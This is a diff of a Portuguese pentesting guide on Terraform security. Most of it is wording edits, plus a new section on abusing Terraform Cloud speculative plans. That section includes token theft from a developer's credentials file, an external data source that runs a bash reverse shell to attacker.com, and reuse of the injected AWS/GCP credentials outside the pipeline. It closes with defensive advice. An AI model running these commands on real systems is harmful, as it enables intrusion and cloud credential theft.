diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 120894004..d5daf2dfc 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -4,7 +4,7 @@ ## Informações Básicas -[Dos docs:](https://developer.hashicorp.com/terraform/intro) +[Dos documentos:](https://developer.hashicorp.com/terraform/intro) HashiCorp Terraform é uma **ferramenta de infraestrutura como código** que permite definir tanto **recursos em nuvem quanto locais** em arquivos de configuração legíveis por humanos que você pode versionar, reutilizar e compartilhar. Você pode então usar um fluxo de trabalho consistente para provisionar e gerenciar toda a sua infraestrutura ao longo de seu ciclo de vida. O Terraform pode gerenciar componentes de baixo nível, como computação, armazenamento e recursos de rede, bem como componentes de alto nível, como entradas DNS e recursos SaaS. @@ -14,7 +14,7 @@ O Terraform cria e gerencia recursos em plataformas de nuvem e outros serviços ![](<../images/image (177).png>) -A HashiCorp e a comunidade Terraform já escreveram **mais de 1700 provedores** para gerenciar milhares de tipos diferentes de recursos e serviços, e esse número continua a crescer. Você pode encontrar todos os provedores disponíveis publicamente no [Terraform Registry](https://registry.terraform.io/), incluindo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e muitos mais. +A HashiCorp e a comunidade do Terraform já escreveram **mais de 1700 provedores** para gerenciar milhares de tipos diferentes de recursos e serviços, e esse número continua a crescer. Você pode encontrar todos os provedores disponíveis publicamente no [Terraform Registry](https://registry.terraform.io/), incluindo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e muitos mais. O fluxo de trabalho central do Terraform consiste em três etapas: @@ -32,13 +32,13 @@ Aqui você tem um [guia](https://learn.hashicorp.com/tutorials/terraform/install ## RCE no Terraform: envenenamento de arquivo de configuração -O Terraform **não tem uma plataforma que exponha uma página da web ou um serviço de rede** que possamos enumerar, portanto, a única maneira de comprometer o terraform é **ser capaz de adicionar/modificar arquivos de configuração do terraform** ou **ser capaz de modificar o arquivo de estado do terraform** (veja o capítulo abaixo). +O Terraform **não possui uma plataforma que exponha uma página da web ou um serviço de rede** que possamos enumerar, portanto, a única maneira de comprometer o terraform é **ser capaz de adicionar/modificar arquivos de configuração do terraform** ou **ser capaz de modificar o arquivo de estado do terraform** (veja o capítulo abaixo). No entanto, o terraform é um **componente muito sensível** a comprometer porque terá **acesso privilegiado** a diferentes locais para que possa funcionar corretamente. A principal maneira de um atacante conseguir comprometer o sistema onde o terraform está sendo executado é **comprometer o repositório que armazena as configurações do terraform**, porque em algum momento elas serão **interpretadas**. -Na verdade, existem soluções que **executam terraform plan/apply automaticamente após a criação de um PR**, como **Atlantis**: +Na verdade, existem soluções que **executam terraform plan/apply automaticamente após um PR** ser criado, como **Atlantis**: {{#ref}} atlantis-security.md @@ -81,7 +81,7 @@ Você pode encontrar um exemplo em [https://github.com/rung/terraform-provider-c **Usando uma referência externa** -Ambas as opções mencionadas são úteis, mas não muito discretas (a segunda é mais discreta, mas mais complexa do que a primeira). Você pode realizar este ataque de uma **maneira mais discreta**, seguindo estas sugestões: +Ambas as opções mencionadas são úteis, mas não muito discretas (a segunda é mais discreta, mas mais complexa do que a primeira). Você pode realizar este ataque de uma maneira **mais discreta**, seguindo estas sugestões: - Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode **carregar um recurso externo** que contém o rev shell: ```javascript @@ -176,9 +176,9 @@ Porque o terraform verá que o recurso não deveria existir, ele o destruirá (s ] }, ``` -2. **Modifique o recurso para deletar de uma maneira que não seja possível atualizar (para que ele seja deletado e recriado)** +2. **Modifique o recurso para excluir de uma maneira que não seja possível atualizar (para que ele seja excluído e recriado)** -Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform deletar e recriá-la. +Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform excluir e recriá-la. ### Substituir provedor na lista negra @@ -199,6 +199,79 @@ data "external" "example" { program = ["sh", "-c", "whoami"] } ``` +## Terraform Cloud speculative plan RCE e exfiltração de credenciais + +Este cenário explora os runners do Terraform Cloud (TFC) durante planos especulativos para pivotar na conta de nuvem alvo. + +- Pré-condições: +- Roubar um token do Terraform Cloud de uma máquina de desenvolvedor. O CLI armazena tokens em texto simples em `~/.terraform.d/credentials.tfrc.json`. +- O token deve ter acesso à organização/workspace alvo e pelo menos a permissão `plan`. Workspaces suportados por VCS bloqueiam `apply` do CLI, mas ainda permitem planos especulativos. + +- Descobrir configurações de workspace e VCS via a API do TFC: +```bash +export TF_TOKEN= +curl -s -H "Authorization: Bearer $TF_TOKEN" \ +https://app.terraform.io/api/v2/organizations//workspaces/ | jq +``` +- Acionar a execução de código durante um plano especulativo usando a fonte de dados externa e o bloco "cloud" do Terraform Cloud para direcionar o workspace baseado em VCS: +```hcl +terraform { +cloud { +organization = "acmecorp" +workspaces { name = "gcp-infra-prod" } +} +} + +data "external" "exec" { +program = ["bash", "./rsync.sh"] +} +``` +Exemplo de rsync.sh para obter um shell reverso no runner TFC: +```bash +#!/usr/bin/env bash +bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1' +``` +Execute um plano especulativo para executar o programa no runner efêmero: +```bash +terraform init +terraform plan +``` +- Enumere e exfiltre credenciais de nuvem injetadas do runner. Durante as execuções, o TFC injeta credenciais de provedor por meio de arquivos e variáveis de ambiente: +```bash +env | grep -i gcp || true +env | grep -i aws || true +``` +Arquivos esperados no diretório de trabalho do runner: +- GCP: +- `tfc-google-application-credentials` (configuração JSON de Federação de Identidade de Carga de Trabalho) +- `tfc-gcp-token` (token de acesso GCP de curta duração) +- AWS: +- `tfc-aws-shared-config` (configuração de suposição de função de identidade web/OIDC) +- `tfc-aws-token` (token de curta duração; algumas organizações podem usar chaves estáticas) + +- Use as credenciais de curta duração fora de banda para contornar os portões do VCS: + +GCP (gcloud): +```bash +export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials +gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS" +gcloud config set project +``` +AWS (AWS CLI): +```bash +export AWS_CONFIG_FILE=./tfc-aws-shared-config +export AWS_PROFILE=default +aws sts get-caller-identity +``` +Com essas credenciais, os atacantes podem criar/modificar/destruir recursos diretamente usando CLIs nativas, contornando fluxos de trabalho baseados em PR que bloqueiam `apply` via VCS. + +- Orientações defensivas: +- Aplique o princípio do menor privilégio a usuários/equipes e tokens do TFC. Audite as associações e evite proprietários excessivos. +- Restringa a permissão de `plan` em workspaces sensíveis suportados por VCS, quando viável. +- Aplique listas de permissão de provedores/fontes de dados com políticas do Sentinel para bloquear `data "external"` ou provedores desconhecidos. Veja a orientação da HashiCorp sobre filtragem de provedores. +- Prefira OIDC/WIF em vez de credenciais de nuvem estáticas; trate runners como sensíveis. Monitore execuções de planos especulativos e egressos inesperados. +- Detecte a exfiltração de artefatos de credenciais `tfc-*` e alerte sobre o uso suspeito de programas `external` durante os planos. + ## Ferramentas de Auditoria Automática ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) @@ -208,7 +281,7 @@ Snyk oferece uma solução abrangente de escaneamento de Infrastructure as Code - **Recursos:** - Escaneamento em tempo real para vulnerabilidades de segurança e problemas de conformidade. - Integração com sistemas de controle de versão (GitHub, GitLab, Bitbucket). -- Pull requests automáticas de correção. +- Pull requests de correção automatizadas. - Conselhos detalhados de remediação. - **Inscreva-se:** Crie uma conta em [Snyk](https://snyk.io/). ```bash @@ -221,9 +294,9 @@ snyk iac test /path/to/terraform/code **Checkov** é uma ferramenta de análise de código estático para infraestrutura como código (IaC) e também uma ferramenta de análise de composição de software (SCA) para imagens e pacotes de código aberto. -Ele escaneia a infraestrutura em nuvem provisionada usando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) ou [OpenTofu](https://opentofu.org/) e detecta configurações incorretas de segurança e conformidade usando escaneamento baseado em grafo. +Ela escaneia a infraestrutura em nuvem provisionada usando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) ou [OpenTofu](https://opentofu.org/) e detecta configurações incorretas de segurança e conformidade usando escaneamento baseado em grafo. -Ele realiza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que é uma varredura de pacotes de código aberto e imagens para Vulnerabilidades e Exposições Comuns (CVEs). +Ela realiza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que é uma varredura de pacotes e imagens de código aberto para Vulnerabilidades e Exposições Comuns (CVEs). ```bash pip install checkov checkov -d /path/to/folder @@ -236,11 +309,11 @@ Do [**docs**](https://github.com/terraform-compliance/cli): `terraform-complianc - **desenvolvimento orientado a comportamento:** Temos BDD para quase tudo, por que não para IaC? - **portátil:** basta instalá-lo via `pip` ou executá-lo através do `docker`. Veja [Instalação](https://terraform-compliance.com/pages/installation/) - **pré-implantação:** valida seu código antes de ser implantado -- **fácil de integrar:** pode ser executado em seu pipeline (ou em ganchos do git) para garantir que todas as implantações sejam validadas. +- **fácil de integrar:** pode ser executado em seu pipeline (ou em ganchos git) para garantir que todas as implantações sejam validadas. - **segregação de deveres:** você pode manter seus testes em um repositório diferente onde uma equipe separada é responsável. > [!NOTE] -> Infelizmente, se o código estiver usando alguns provedores aos quais você não tem acesso, você não poderá realizar o `terraform plan` e executar esta ferramenta. +> Infelizmente, se o código estiver usando alguns provedores aos quais você não tem acesso, você não poderá executar o `terraform plan` e rodar esta ferramenta. ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -278,7 +351,7 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" Do [**docs**](https://github.com/tenable/terrascan): Terrascan é um analisador de código estático para Infraestrutura como Código. Terrascan permite que você: - Escaneie perfeitamente a infraestrutura como código em busca de configurações incorretas. -- Monitore a infraestrutura em nuvem provisionada para alterações de configuração que introduzem desvios de postura e permite reverter para uma postura segura. +- Monitore a infraestrutura em nuvem provisionada para mudanças de configuração que introduzem desvios de postura e permite reverter para uma postura segura. - Detecte vulnerabilidades de segurança e violações de conformidade. - Mitigue riscos antes de provisionar infraestrutura nativa em nuvem. - Oferece flexibilidade para rodar localmente ou integrar com seu CI\CD. @@ -292,5 +365,13 @@ brew install terrascan - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) - [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) +- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/) +- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions) +- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace) +- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration) +- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc) +- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud) +- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables) +- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/) {{#include ../banners/hacktricks-training.md}}